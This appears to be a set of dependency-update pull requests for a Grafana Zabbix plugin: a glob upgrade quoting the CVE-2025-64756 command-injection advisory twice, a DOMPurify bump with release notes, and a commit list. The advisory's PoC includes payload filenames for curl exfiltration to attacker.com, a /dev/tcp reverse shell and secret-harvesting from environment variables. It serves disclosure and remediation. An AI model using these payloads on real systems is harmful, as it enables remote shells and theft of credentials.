This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`^10.2.7` ->
`^11.0.0`](https://renovatebot.com/diffs/npm/glob/10.4.5/11.1.0) |
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
### Summary
The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.
### Details
**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:
```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```
**Technical Flow:**
1. User runs `glob -c <command> <pattern>`
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)
**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content
### PoC
**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```
**Trigger Vulnerability:**
```bash
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```
**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges
**Advanced Payload Examples:**
**Data Exfiltration:**
```bash
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```
**Reverse Shell:**
```bash
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```
**Environment Variable Harvesting:**
```bash
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```
### Impact
**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
**Real-World Attack Scenarios:**
**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering
**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services
**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform
### Affected Products
- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0
**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable
### Remediation
- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.
---
### glob CLI: Command injection via -c/--cmd executes matches with
shell:true
[CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) /
[GHSA-5j98-mcp5-4vw2](https://redirect.github.com/advisories/GHSA-5j98-mcp5-4vw2)
<details>
<summary>More information</summary>
#### Details
##### Summary
The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.
##### Details
**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:
```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```
**Technical Flow:**
1. User runs `glob -c <command> <pattern>`
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)
**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content
##### PoC
**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory
##### Create file with command injection payload in filename
touch '$(touch injected_poc)'
```
**Trigger Vulnerability:**
```bash
##### Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```
**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges
**Advanced Payload Examples:**
**Data Exfiltration:**
```bash
##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```
**Reverse Shell:**
```bash
##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```
**Environment Variable Harvesting:**
```bash
##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```
##### Impact
**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
**Real-World Attack Scenarios:**
**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering
**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services
**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform
##### Affected Products
- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0
**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable
##### Remediation
- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.
#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`
#### References
-
[https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756)
-
[47473c046b)
-
[https://github.com/isaacs/node-glob](https://redirect.github.com/isaacs/node-glob)
This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5j98-mcp5-4vw2) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Release Notes
<details>
<summary>isaacs/node-glob (glob)</summary>
###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)
###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)
###
[`v11.0.2`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)
###
[`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)
###
[`v11.0.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v11.0.0)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.5.0...v11.0.0)
###
[`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
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🔕 **Ignore**: Close this PR and you won't be reminded about this update
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Bumps [dompurify](https://github.com/cure53/DOMPurify) from 3.1.6 to
3.2.4.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/cure53/DOMPurify/releases">dompurify's
releases</a>.</em></p>
<blockquote>
<h2>DOMPurify 3.2.4</h2>
<ul>
<li>Fixed a conditional and config dependent mXSS-style <a
href="https://nsysean.github.io/posts/dompurify-323-bypass/">bypass</a>
reported by <a
href="https://github.com/nsysean"><code>@nsysean</code></a></li>
<li>Added a new feature to allow specific hook removal, thanks <a
href="https://github.com/davecardwell"><code>@davecardwell</code></a></li>
<li>Added <em>purify.js</em> and <em>purify.min.js</em> to exports,
thanks <a
href="https://github.com/Aetherinox"><code>@Aetherinox</code></a></li>
<li>Added better logic in case no window object is president, thanks <a
href="https://github.com/yehuya"><code>@yehuya</code></a></li>
<li>Updated some dependencies called out by dependabot</li>
<li>Updated license files etc to show the correct year</li>
</ul>
<h2>DOMPurify 3.2.3</h2>
<ul>
<li>Fixed two conditional sanitizer bypasses discovered by <a
href="https://github.com/parrot409"><code>@parrot409</code></a> and <a
href="https://x.com/slonser_"><code>@Slonser</code></a></li>
<li>Updated the attribute clobbering checks to prevent future bypasses,
thanks <a
href="https://github.com/parrot409"><code>@parrot409</code></a></li>
</ul>
<h2>DOMPurify 3.2.2</h2>
<ul>
<li>Fixed a possible bypass in case a rather specific config for custom
elements is set, thanks <a
href="https://github.com/yaniv-git"><code>@yaniv-git</code></a></li>
<li>Fixed several minor issues with the type definitions, thanks again
<a href="https://github.com/reduckted"><code>@reduckted</code></a></li>
<li>Fixed a minor issue with the types reference for trusted types,
thanks <a
href="https://github.com/reduckted"><code>@reduckted</code></a></li>
<li>Fixed a minor problem with the template detection regex on some
systems, thanks <a
href="https://github.com/svdb99"><code>@svdb99</code></a></li>
</ul>
<h2>DOMPurify 3.2.1</h2>
<ul>
<li>Fixed several minor issues with the type definitions, thanks <a
href="https://github.com/reduckted"><code>@reduckted</code></a> <a
href="https://github.com/ghiscoding"><code>@ghiscoding</code></a> <a
href="https://github.com/asamuzaK"><code>@asamuzaK</code></a> <a
href="https://github.com/MiniDigger"><code>@MiniDigger</code></a></li>
<li>Fixed an issue with non-minified dist files and order of imports,
thanks <a
href="https://github.com/reduckted"><code>@reduckted</code></a></li>
</ul>
<h2>DOMPurify 3.2.0</h2>
<ul>
<li>Added type declarations, thanks <a
href="https://github.com/reduckted"><code>@reduckted</code></a> , <a
href="https://github.com/philmayfield"><code>@philmayfield</code></a>,
<a href="https://github.com/aloisklink"><code>@aloisklink</code></a>,
<a href="https://github.com/ssi02014"><code>@ssi02014</code></a> and
others</li>
<li>Fixed a minor issue with the handling of hooks, thanks <a
href="https://github.com/kevin-mizu"><code>@kevin-mizu</code></a></li>
</ul>
<h2>DOMPurify 3.1.7</h2>
<ul>
<li>Fixed an issue with comment detection and possible bypasses with
specific config settings, thanks <a
href="https://github.com/masatokinugawa"><code>@masatokinugawa</code></a></li>
<li>Fixed several smaller typos in documentation and test & build
files, thanks <a
href="https://github.com/christianhg"><code>@christianhg</code></a></li>
<li>Added better support for Angular compiler, thanks <a
href="https://github.com/jeroen1602"><code>@jeroen1602</code></a></li>
<li>Added several new attributes to HTML and SVG allow-list, thanks <a
href="https://github.com/Gigabyte5671"><code>@Gigabyte5671</code></a>
and <a href="https://github.com/Rotzbua"><code>@Rotzbua</code></a></li>
<li>Removed the <code>foreignObject</code> element from the list of HTML
entry-points, thanks <a
href="https://github.com/masatokinugawa"><code>@masatokinugawa</code></a></li>
<li>Bumped several dependencies to be more up to date</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="ec29e65f36"><code>ec29e65</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1062">#1062</a>
from cure53/main</li>
<li><a
href="1c1b183862"><code>1c1b183</code></a>
chore: Preparing 3.2.4 release</li>
<li><a
href="d18ffcb554"><code>d18ffcb</code></a>
fix: Changed the template literal regex to avoid a config-dependent
bypass</li>
<li><a
href="0d64d2b12f"><code>0d64d2b</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1060">#1060</a>
from yehuya/initializeTestImprovements</li>
<li><a
href="9ad7933156"><code>9ad7933</code></a>
tests: DOMPurify custom window tests improvements</li>
<li><a
href="72760ca8ee"><code>72760ca</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1059">#1059</a>
from yehuya/fixMissingWindowElement</li>
<li><a
href="bc72d44b2e"><code>bc72d44</code></a>
Fix tests</li>
<li><a
href="363a89dd3a"><code>363a89d</code></a>
fix: handle undefined Element in DOMPurify initialization</li>
<li><a
href="f41b45df18"><code>f41b45d</code></a>
Update LICENSE</li>
<li><a
href="b25bf26d67"><code>b25bf26</code></a>
Update README.md</li>
<li>Additional commits viewable in <a
href="https://github.com/cure53/DOMPurify/compare/3.1.6...3.2.4">compare
view</a></li>
</ul>
</details>
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Introduce Changesets for versioning and changelog generation, and
enhance development documentation to guide contributors on using
Changesets effectively.
Changes:
- Use 10.4.8 as minimal supported Grafana version in plugins that
previously supported v9.
- Bump version to 5.0.0 as we are changing min supported Grafana version
* Problems count mode
* Use tooltip from grafana ui
* Add editors for new modes
* Fix macro mode
* Fix bugs
* Unify editors to use one Triggers editor for all count queries
* Use time range toggle for triggers query, #918
* Add item tags suport for triggers count mode
* Fix triggers count by items
* Use data frames for triggers data, #1441
* Return empty result if no items found
* Add migration for problems count mode
* bump version to 4.3.0-pre
* Add zip task to makefile
* Add schema to query model
* Minor refactor
* Refactor: move components to separate files
* Minor refactor
* Support url in event tags
* Add tooltip with link url
* Update grafana packages
* Fix adding new problems panel
* ProblemDetails: rewrite as a functional component
* minor refactor
* Use grafana toolkit template for building plugin
* Fix linter and type errors
* Update styles building
* Fix sass deprecation warning
* Remove empty js files produced by webpack building sass
* Fix signing script
* Replace classnames with cx
* Fix data source config page
* Use custom webpack config instead of overriding original one
* Use gpx_ prefix for plugin executable
* Remove unused configs
* Roll back react hooks dependencies usage
* Move plugin-specific ts config to root config file
* Temporary do not use rst2html for function description tooltip
* Remove unused code
* remove unused dependencies
* update react table dependency
* Migrate tests to typescript
* remove unused dependencies
* Remove old webpack configs
* Add sign target to makefile
* Add magefile
* Update CI test job
* Update go packages
* Update build instructions
* Downgrade go version to 1.18
* Fix go version in ci
* Fix metric picker
* Add comment to webpack config
* remove angular mocks
* update bra config
* Rename datasource-zabbix to datasource (fix mage build)
* Add instructions for building backend with mage
* Fix webpack targets
* Fix ci backend tests
* Add initial e2e tests
* Fix e2e ci tests
* Update docker compose for cypress tests
* build grafana docker image
* Fix docker stop task
* CI: add Grafana compatibility check
